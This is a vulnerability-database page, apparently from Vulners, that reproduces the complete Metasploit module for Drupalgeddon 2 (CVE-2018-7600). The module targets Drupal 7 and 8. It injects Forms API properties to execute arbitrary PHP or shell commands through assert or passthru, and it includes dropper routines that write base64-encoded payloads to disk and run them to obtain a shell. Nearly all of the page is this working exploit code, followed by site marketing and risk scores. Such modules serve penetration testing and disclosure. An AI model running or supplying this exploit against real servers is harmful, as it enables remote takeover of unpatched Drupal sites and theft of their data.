Lucene search
K

Drupal Drupalgeddon 2 Forms API Property Injection

🗓️ 18 Apr 2018 00:05:45Reported by Jasper Mattsson, a2u, Nixawk, FireFart, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 305 Views

Drupalgeddon 2 Forms API Property Injection vulnerability for Drupal versions 6.x, 7.x, 8.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Drupal
  # XXX: CmdStager can't handle badchars
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Drupal Drupalgeddon 2 Forms API Property Injection',
      'Description'    => %q{
        This module exploits a Drupal property injection in the Forms API.

        Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
      },
      'Author'         => [
        'Jasper Mattsson', # Vulnerability discovery
        'a2u',             # Proof of concept (Drupal 8.x)
        'Nixawk',          # Proof of concept (Drupal 8.x)
        'FireFart',        # Proof of concept (Drupal 7.x)
        'wvu'              # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-7600'],
        ['URL', 'https://www.drupal.org/sa-core-2018-002'],
        ['URL', 'https://greysec.net/showthread.php?tid=2912'],
        ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
        ['URL', 'https://github.com/a2u/CVE-2018-7600'],
        ['URL', 'https://github.com/nixawk/labs/issues/19'],
        ['URL', 'https://github.com/FireFart/CVE-2018-7600']
      ],
      'DisclosureDate' => '2018-03-28',
      'License'        => MSF_LICENSE,
      'Platform'       => ['php', 'unix', 'linux'],
      'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Payload'        => {'BadChars' => '&>\''},
      'Targets'        => [
        #
        # Automatic targets (PHP, cmd/unix, native)
        #
        ['Automatic (PHP In-Memory)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Type'       => :php_memory
        ],
        ['Automatic (PHP Dropper)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Type'       => :php_dropper
        ],
        ['Automatic (Unix In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD,
          'Type'       => :unix_memory
        ],
        ['Automatic (Linux Dropper)',
          'Platform'   => 'linux',
          'Arch'       => [ARCH_X86, ARCH_X64],
          'Type'       => :linux_dropper
        ],
        #
        # Drupal 7.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 7.x (PHP In-Memory)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Version'    => Rex::Version.new('7'),
          'Type'       => :php_memory
        ],
        ['Drupal 7.x (PHP Dropper)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Version'    => Rex::Version.new('7'),
          'Type'       => :php_dropper
        ],
        ['Drupal 7.x (Unix In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD,
          'Version'    => Rex::Version.new('7'),
          'Type'       => :unix_memory
        ],
        ['Drupal 7.x (Linux Dropper)',
          'Platform'   => 'linux',
          'Arch'       => [ARCH_X86, ARCH_X64],
          'Version'    => Rex::Version.new('7'),
          'Type'       => :linux_dropper
        ],
        #
        # Drupal 8.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 8.x (PHP In-Memory)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Version'    => Rex::Version.new('8'),
          'Type'       => :php_memory
        ],
        ['Drupal 8.x (PHP Dropper)',
          'Platform'   => 'php',
          'Arch'       => ARCH_PHP,
          'Version'    => Rex::Version.new('8'),
          'Type'       => :php_dropper
        ],
        ['Drupal 8.x (Unix In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD,
          'Version'    => Rex::Version.new('8'),
          'Type'       => :unix_memory
        ],
        ['Drupal 8.x (Linux Dropper)',
          'Platform'   => 'linux',
          'Arch'       => [ARCH_X86, ARCH_X64],
          'Version'    => Rex::Version.new('8'),
          'Type'       => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0, # Automatic (PHP In-Memory)
      'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
      'Notes'          => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => [],
        'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
    ))

    register_options([
      OptString.new('PHP_FUNC',  [true, 'PHP function to execute', 'passthru']),
      OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def check
    checkcode = CheckCode::Unknown

    @version = target['Version'] || drupal_version

    unless @version
      vprint_error('Could not determine Drupal version to target')
      return checkcode
    end

    vprint_status("Drupal #{@version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected

    changelog = drupal_changelog(@version)

    unless changelog
      vprint_error('Could not determine Drupal patch level')
      return checkcode
    end

    case drupal_patch(changelog, 'SA-CORE-2018-002')
    when nil
      vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
      checkcode = CheckCode::Safe
    when false
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears
    end

    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = rand_str
    res   = execute_command(token, func: 'printf')

    return checkcode unless res

    if res.body.start_with?(token)
      vprint_good('Drupal is vulnerable to code execution')
      checkcode = CheckCode::Vulnerable
    end

    checkcode
  end

  def exploit
    unless @version
      print_warning('Targeting Drupal 7.x as a fallback')
      @version = Rex::Version.new('7')
    end

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
      # XXX: Naughty datastore modification
      datastore['DUMP_OUTPUT'] = true
    end

    # NOTE: assert() is attempted first, then PHP_FUNC if that fails
    case target['Type']
    when :php_memory
      execute_command(payload.encoded, func: 'assert')

      sleep(wfs_delay)
      return if session_created?

      # XXX: This will spawn a *very* obvious process
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    when :php_dropper, :linux_dropper
      dropper_assert

      sleep(wfs_delay)
      return if session_created?

      dropper_exec
    end
  end

  def dropper_assert
    php_file = Pathname.new(
      "#{datastore['WritableDir']}/#{rand_str}.php"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # Stage 1 decodes the PHP and writes it to disk
    stage1 = %Q{
      file_put_contents("#{php_file}", base64_decode("#{dropper}"));
    }

    # Stage 2 executes said PHP in-process
    stage2 = %Q{
      include_once("#{php_file}");
    }

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Hopefully pop our shell with assert()
    execute_command(stage1.strip, func: 'assert')
    execute_command(stage2.strip, func: 'assert')
  end

  def dropper_exec
    php_file = "#{rand_str}.php"
    tmp_file = Pathname.new(
      "#{datastore['WritableDir']}/#{php_file}"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Write the payload or dropper to disk (!)
    # NOTE: Analysis indicates > is a badchar for 8.x
    execute_command("echo #{dropper} | base64 -d | tee #{php_file}")

    # Attempt in-process execution of our PHP script
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_file)
    )

    sleep(wfs_delay)
    return if session_created?

    # Try to get a shell with PHP CLI
    execute_command("php #{php_file}")

    sleep(wfs_delay)
    return if session_created?

    register_file_for_cleanup(tmp_file)

    # Fall back on our temp file
    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
    execute_command("php #{tmp_file}")
  end

  def execute_command(cmd, opts = {})
    func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'

    vprint_status("Executing with #{func}(): #{cmd}")

    res =
      case @version.to_s
      when /^7\b/
        exploit_drupal7(func, cmd)
      when /^8\b/
        exploit_drupal8(func, cmd)
      end

    return unless res

    if res.code == 200
      print_line(res.body) if datastore['DUMP_OUTPUT']
    else
      print_error("Unexpected reply: #{res.inspect}")
    end

    res
  end

  def exploit_drupal7(func, code)
    vars_get = {
      'q'                    => 'user/password',
      'name[#post_render][]' => func,
      'name[#markup]'        => code,
      'name[#type]'          => 'markup'
    }

    vars_post = {
      'form_id'                  => 'user_pass',
      '_triggering_element_name' => 'name'
    }

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )

    return res unless res && res.code == 200

    form_build_id = res.get_html_document.at(
      '//input[@name = "form_build_id"]/@value'
    )

    return res unless form_build_id

    vars_get = {
      'q' => "file/ajax/name/#value/#{form_build_id.value}"
    }

    vars_post = {
      'form_build_id' => form_build_id.value
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def exploit_drupal8(func, code)
    # Clean URLs are enabled by default and "can't" be disabled
    uri = normalize_uri(target_uri.path, 'user/register')

    vars_get = {
      'element_parents' => 'account/mail/#value',
      'ajax_form'       => 1,
      '_wrapper_format' => 'drupal_ajax'
    }

    vars_post = {
      'form_id'              => 'user_register_form',
      '_drupal_ajax'         => 1,
      'mail[#type]'          => 'markup',
      'mail[#post_render][]' => func,
      'mail[#markup]'        => code
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def rand_str
    Rex::Text.rand_text_alphanumeric(8..42)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Apr 2023 09:24Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.99993
305